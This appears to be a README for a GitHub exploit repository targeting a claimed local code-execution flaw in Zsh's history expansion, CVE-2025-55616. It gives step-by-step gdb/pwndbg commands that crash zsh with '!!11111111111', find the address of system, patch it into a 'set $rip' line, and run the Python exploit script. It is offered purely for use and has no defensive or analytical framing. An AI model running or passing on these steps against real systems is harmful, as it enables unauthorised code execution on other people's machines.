livepwn/cve-2025-55616Exploit for CVE-2025-55616, a local RCE in Zsh via history expression, achieving arbitrary code execution with user privileges.
To Run this exploit: just change the ip address and the "p system" in exploit, because i also tried this in my second laptop, and to change it run this following command in gdb (especially in pwndbg ):
$ gdb zsh -f (in terminal)
pwndbg> run -f
username% ! (username will be your,s just write ! )
username% !!11111111111 (same here just write !!11111111111 )
pwndbg> p system
after getting "p system" address just change it in
b'set $rip = 0x7ffff7cc9110', (use your p system address in place of 0x7ffff7cc9110
This vulnerability allows local attackers to achieve Arbitrary Code Execution (RCE) with the privileges of the user running the Zsh process.
python3 CVE-2025-55616.py